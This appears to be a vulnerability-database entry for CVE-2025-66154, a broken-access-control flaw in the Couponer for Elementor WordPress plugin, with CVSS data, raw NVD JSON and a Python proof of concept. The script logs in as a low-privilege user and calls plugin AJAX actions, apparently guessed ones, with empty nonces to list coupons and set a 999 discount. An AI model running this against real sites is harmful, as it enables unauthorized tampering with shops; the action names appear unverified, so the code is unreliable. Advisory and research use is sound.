Security Vulnerability Report
中文
CVE-2025-66154 CVSS 5.4 MEDIUM

CVE-2025-66154

Published: 2025-12-31 17:15:49
Last Modified: 2026-04-23 15:35:29

Description

Missing Authorization vulnerability in merkulove Couponer for Elementor couponer-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Couponer for Elementor: from n/a through <= 1.1.7.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

merkulove Couponer for Elementor <= 1.1.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66154 PoC - Broken Access Control in Couponer for Elementor # Target: WordPress site with Couponer for Elementor plugin <= 1.1.7 def exploit_cve_2025_66154(target_url, username, password): """ Exploit missing authorization vulnerability in Couponer for Elementor This PoC demonstrates accessing admin functions with low-privilege user """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Try to access coupon management function without admin privileges # This should fail for subscriber role, but succeeds due to missing auth check coupon_ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Example: List all coupons (unauthorized access) list_coupons_payload = { 'action': 'couponer_get_coupons', 'nonce': '' # May be missing or bypassable } response = session.post(coupon_ajax_url, data=list_coupons_payload) if response.status_code == 200: print(f"[!] Vulnerable! Low-privilege user can access coupon functions") print(f"[+] Response: {response.text[:500]}") else: print(f"[*] Not vulnerable or access denied") # Example: Modify coupon settings (unauthorized) modify_coupon_payload = { 'action': 'couponer_save_coupon', 'coupon_id': '1', 'discount': '999', # Malicious discount value 'nonce': '' } response = session.post(coupon_ajax_url, data=modify_coupon_payload) if response.status_code == 200 and 'success' in response.text: print(f"[!] Critical: Unauthorized coupon modification possible!") return session.cookies.get_dict() if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66154(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66154", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:48.977", "lastModified": "2026-04-23T15:35:28.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Couponer for Elementor couponer-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Couponer for Elementor: from n/a through <= 1.1.7."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Couponer para Elementor permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Couponer para Elementor: desde n/d hasta 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/couponer-elementor/vulnerability/wordpress-couponer-for-elementor-plugin-1-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}